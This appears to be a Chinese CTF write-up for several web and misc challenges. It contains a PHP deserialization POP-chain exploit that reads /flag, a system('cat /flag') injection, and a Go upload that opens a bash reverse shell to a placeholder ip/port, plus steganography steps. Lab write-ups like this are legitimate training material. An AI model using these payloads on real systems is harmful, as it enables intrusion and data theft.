前言
早寫好了,忘發了,題目質量還行,夠我坐大牢
ezpop
簡單的反序列化,exp如下
<?php
class night
{
public $night;
}
class day
{
public $day;
}
class light
{
public $light;
}class dark
{
public $dark;
}
$n = new night;
$d1 = new day;
$d2 = new day;
$l = new light;
$d = new dark;
$d3 = new dark;
$n->night = $d1;
$d1->day = $d;
$d->dark = $l;
$l->light = $d2;
$d2->day = $d3;
$d3->dark = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($n);
?>
傳參這有個坑,用了Unicode編碼,得copy下來進行url編碼才能傳參,不知道這么干有什么意義,還得繞過Exception,把變數數改一下就能繞過了,跟繞wakeup一樣
ezrce
preg_replace采用了/e的模式,很明顯有rce漏洞,簡單的測驗了一下,不能用數字等等,這waf有點牛逼,采用無參rce直接讀flag就行了,name得含有hahaha

unserialize
非預期,?a=system ('cat /flag');就能讀flag

test
查看頁面源代碼,發現/profile/index這個路由,訪問一下回傳一個result,啥也沒有,仿問/profile/admin,回傳了密碼,MD5解密一下asdfgh123admin登錄進去,提示上傳個go檔案,就會運行,構造一個上傳資料包,go檔案如下:
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
反彈shell,拿到flag

Misc
管道
zsteg -a 管道.png | grep "flag"

可是雪啊飄進雙眼
第一步hint.wav,藏了摩斯密碼,解密出來是WOAISHANXI ,snow.txt,snow解密,snow.exe -p WOAISHANXI -C snow.txt ,拿到密碼shanxiroujiamo,解開壓縮包,兩張圖片,key.jpg與hide.jpg, binwalk -e key.jpg 提取出一個壓縮包,里面有張圖片,跟key.jpg的密文相對應,一一對照拿到密碼BC1PVEYD, steghide解hide.jpg即可拿到flag

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/554351.html
標籤:其他
上一篇:移動安全課程
下一篇:返回列表
